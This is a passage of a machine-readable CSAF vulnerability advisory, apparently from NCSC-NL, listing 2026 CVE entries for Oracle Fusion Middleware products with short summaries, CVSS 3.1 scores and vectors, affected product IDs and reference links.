"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60715"
},
{
"cve": "CVE-2026-60716",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60716 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60716.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60716"
},
{
"cve": "CVE-2026-60720",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60720 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60720.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60720"
},
{
"cve": "CVE-2026-60721",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60721 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60721.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60721"
},
{
"cve": "CVE-2026-60722",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access via T3 or IIOP to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60722 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60722.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60722"
},
{
"cve": "CVE-2026-60726",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated CVSS 3.1 base score 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60726 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60726.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60726"
},
{
"cve": "CVE-2026-60727",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated remote attackers to fully compromise the system via HTTP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60727 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60727.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60727"
},
{
"cve": "CVE-2026-60728",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized sensitive data access or cause denial of service, rated CVSS 3.1 score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60728 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60728.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60728"
},
{
"cve": "CVE-2026-60729",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60729 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60729.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60729"
},
{
"cve": "CVE-2026-60730",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the portal, with a CVSS 3.1 base score of 9.9 indicating severe risk.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60730 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60730.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60730"
},
{
"cve": "CVE-2026-60731",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with RMI network access to fully compromise the system, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60731 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60731.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60731"
},
{
"cve": "CVE-2026-60733",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows low-privileged attackers with HTTP network access to modify critical data, read unauthorized data, and cause partial denial of service, with a CVSS 3.1 score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60733 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60733.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60733"
},
{
"cve": "CVE-2026-60737",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60737 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60737.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60737"
},
{
"cve": "CVE-2026-60841",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60841 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60841.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60841"
},
{
"cve": "CVE-2026-60849",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with LDAP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60849 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60849.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60849"
},
{
"cve": "CVE-2026-60850",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60850 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60850.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60850"
},
{
"cve": "CVE-2026-60853",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated network attackers to gain unauthorized read access to certain data, with a CVSS 3.1 base score of 3.7 indicating low confidentiality impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60853 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60853.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 3.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60853"
},
{
"cve": "CVE-2026-60860",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows unauthenticated attackers to modify or delete data and potentially crash the platform.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60860 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60860.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60860"
},
{
"cve": "CVE-2026-60861",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Service Delivery Platform (Messaging Enabler) versions 14.1.2.0.0 and 12.2.1.4.0 allows low-privileged network attackers via Oracle Net to create, delete, or modify critical data, with a CVSS 3.1 score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60861 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60861.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60861"
},
{
"cve": "CVE-2026-60865",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows a high-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 score of 6.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
